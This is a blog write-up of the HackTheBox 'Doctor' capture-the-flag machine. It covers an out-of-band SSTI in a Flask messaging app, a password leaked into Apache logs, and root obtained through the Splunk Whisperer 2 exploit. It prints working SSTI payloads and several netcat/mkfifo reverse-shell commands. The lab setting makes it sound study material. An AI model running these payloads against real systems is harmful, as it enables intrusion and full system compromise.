Antonio Macovei

HackTheBox - Doctor - Write Up

October 2nd, 2020 at 10:00 Antonio Macovei HackTheBox

Shortly after I rooted Tabby, a new easy box was released. Doctor was quite an experience, being a lot harder than I expected. At first, I thought I could go for my first blood, but after 2 hours stuck with nothing, I was just happy to make a small breakthrough. What I appreciated about this box was that I got the chance to exploit a Python web application using a more "exotic" vulnerability - SSTI.

Doctor - Technical Details

OS: Linux
Difficulty: Easy
Points: 20
Release: 26 Sep 2020


Doctor is an easy-rated Linux machine featuring a website for medical services. Behind the first appearances, there is another web application hosted on a different virtual host - a medical messaging app. This application has an SSTI vulnerability in its message posting board with an out-of-band response. RCE is possible and a shell to the victim machine can be established. Privilege Escalation is achieved through enumeration, where the password for the user account can be found in some Apache logs. Lastly, escalating privileges using a Splunk exploit results in full system compromise.

Key techniques and exploits:

  • Enumeration
  • SSTI
  • Sensitive Information Exposure
  • Splunk Privilege Escalation


Starting with the classic enumeration using Nmap, I got three services running:

znq@sydney:~$ nmap -sV -p-
Starting Nmap 7.80 ( ) at 2020-10-02 15:56 EEST
Nmap scan report for doctors.htb (
Host is up (0.057s latency).
Not shown: 65532 filtered ports
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http     Apache httpd 2.4.41 ((Ubuntu))
8089/tcp open  ssl/http Splunkd httpd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 158.36 seconds
  • SSH on port 22.
  • Apache web server running on port 80.
  • Splunk service running on port 8089.

Taking a glimpse at the web server, I got a website for medical services.

One important hint that I missed here and left me stuck for a few hours was the domain name from the email address at the bottom of the picture. I should have added it to /etc/hosts in order to discover another application hidden on a virtual host. But before diving into this, I also inspected the Splunk instance running on port 8089. At first, it didn't work to access it via the web browser, because I wasn't using HTTPS. Without HTTPS, I got a Connection reset error. Fortunately, there were others on the internet who had the same issue and I quickly found the solution - a secure connection.

I spent some time looking for Splunk exploits, thinking this was the entry point (before discovering the virtual host I mentioned above), I tried default credentials, but nothing worked. Later, I finally found the new website, a doctor web messaging service.

The application required an account, but fortunately it also had a public registration form. Each account had a life-time of 20 minutes, but it was enough to look for vulnerabilities, and I could always create a new account in case it expired.

Initial Foothold - Server Side Template Injection

Going to the New Post page, I tried different kind of injections, such as SQLi, code injection, etc. However, nothing seemed to work. I have also inspected the source code of the application, and I found something interesting in an HTML comment:

<!--archive still under beta testing<a class="nav-item nav-link" href="/archive">Archive</a>-->

Navigating to /archive, the browser displayed a blank page. I also tried it in Burp Suite, and here I saw more than that. There was an XML document with the title of my post.

Moreover, I found what kind of server does this application use. It was running on Werkzeug engine, which meant that it was a Flask app written in Python. These two new findings combined (the XML document and server engine) got me thinking about the most common Python vulnerability in web apps - SSTI (Server Side Template Injection).

Going back to the New Post page, I started trying out different payloads to test these findings. Unfortunately, it seemed like it was not vulnerable to this exploit, as the text inputted was just printed back the same. Not giving up so easy, I also looked again at the /archive page. Bingo! It was an out-of-band SSTI vulnerability. The output was interpreted here and it was a very nice attack vector for future RCE.

Digging deeper, I tried to execute a simple command on the server, such as ls, but I failed. I got back an error 500 page. I started researching more on this vulnerability and found an interesting article which helped me in identifying which libraries were available on the victim's instance.

Sending the following payload to the application, I was able to identify that the OS library necessary to run system commands was missing, but subprocess.Popen was there.

{{ ''.__class__.__mro__[1].__subclasses__() }}
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>,


<class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>, <class 'uuid.UUID'>,


<class 'sqlite3.Cache'>, <class 'sqlite3.Statement'>, <class 'sqlite3.PrepareProtocol'>]

Next, I had to identify the position of this subclass in order to be able to call it. I wrote a simple Python script which returned its index - 407:

list = "<class 'type'>, <class 'weakref'>, ..."
print(list.split(', ').index("<class 'subprocess.Popen'>"))

I went ahead and tested the RCE possibility and finally I was able to execute some commands.


(b'web\n', None)

Confirming the vulnerability, I created another payload using a netcat reverse shell. However, the simple version (nc 4444) was not successful, as the victim system was using an older one. So I had to use the following payload:

{{''.__class__.__mro__[1].__subclasses__()[407]('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 4444 >/tmp/f',shell=True,stdout=-1).communicate()}}

It didn't fail this time and I had a shell on the remote system.

znq@sydney:~$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [] from (UNKNOWN) [] 38144
/bin/sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty; pty.spawn("/bin/bash")'

Privilege Escalation - Apache Logs

An useful hint for this privilege escalation came directly from the box logo itself - there was a log on the doctor's t-shirt. Digging through the logs of the Apache server, I found an interesting file called backup. Inside, there were logs dating back before the box release date, so it was a strong lead. Among lots of useless logs, there was a line that got my attention:

web@doctor:/var/log/apache2$ cat backup
cat backup - - [05/Sep/2020:11:09:48 +0200] "\x16\x03" 400 0 "-" "-" - - [05/Sep/2020:11:09:48 +0200] "t3 12.1.2\n" 400 0 "-" "-" - - [05/Sep/2020:11:09:48 +0200] "PROPFIND / HTTP/1.1" 405 521 "-" "Mozilla/5.0

<truncated> - - [05/Sep/2020:11:17:09 +0200] "GET /register HTTP/1.1" 200 1695 "http://doctor.htb/" "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0" - - [05/Sep/2020:11:17:24 +0200] "POST /register HTTP/1.1" 302 676 "http://doctor.htb/register" "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0" - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password" - - [05/Sep/2020:11:17:25 +0200] "GET /login HTTP/1.1" 200 1888 "http://doctor.htb/register" "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0" - - [05/Sep/2020:11:17:34 +0200] "POST /login HTTP/1.1" 302 732 "http://doctor.htb/login" "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"


The line with the POST request to /reset_password seems odd. The parameter passed for the email address doesn't look like an actual email address. The user may have mistakenly wrote his password instead of the email in the form and it ended up in the logs as plaintext.

I tried this password with the user account found in /etc/passwd and fortunately, I was able to switch to it.

web@doctor:/var/log/apache2$ su shaun
su shaun
Password: Guitar123

shaun@doctor:/var/log/apache2$ whoami

shaun@doctor:~$ cat user.txt
cat user.txt

Privilege Escalation - Splunk Whisperer

There is one more thing I didn't use so far - the Splunk service. I did a lot of research on the internet until I found something I could use - an exploit called Splunk Whisperer 2. However, I needed credentials for it to work, and I didn't have any. I got stuck again for some time, when I finally decided to try the current user - shaun with password Guitar123. It worked. So much time wasted. I got access to the protected area of the web panel, but most importantly, I had a set of credentials to use with the exploit I found.

Again, the reverse shell I used had to be persistent and use the traditional version of netcat.

znq@sydney:~/doctor/SplunkWhisperer2/PySplunkWhisperer2$ python --lhost --host --username shaun --password Guitar123 --payload 'nc.traditional -e /bin/sh 4446'
Running in remote mode (Remote Code Execution)
[.] Authenticating...
[+] Authenticated
[.] Creating malicious app bundle...
[+] Created malicious app bundle in: /tmp/tmpxC0dwS.tar
[+] Started HTTP server for remote mode
[.] Installing app from: - - [01/Oct/2020 02:11:42] "GET / HTTP/1.1" 200 -
[+] App installed, your code should be running now!

Press RETURN to cleanup

Preparing the listener as well:

znq@sydney:~$ nc -lnvp 4446
listening on [any] 4446 ...
connect to [] from (UNKNOWN) [] 45496
python3 -c 'import pty; pty.spawn("/bin/bash")'
root@doctor:/# whoami
root@doctor:/# cd /root
cd /root
root@doctor:/root# cat root.txt
cat root.txt

The system was fully compromised. I had a root shell to the victim's machine.

Because I got stuck for a little while with this exploit, after I got the first shell running, I tried some other alternatives as well. This is what I found to be working:

znq@sydney:~/doctor/SplunkWhisperer2/PySplunkWhisperer2$ python --lhost --host --username shaun --password Guitar123 --payload '/bin/sh | nc 4446'
znq@sydney:~/doctor/SplunkWhisperer2/PySplunkWhisperer2$ python --lhost --host --username shaun --password Guitar123 --payload 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 4446 >/tmp/f'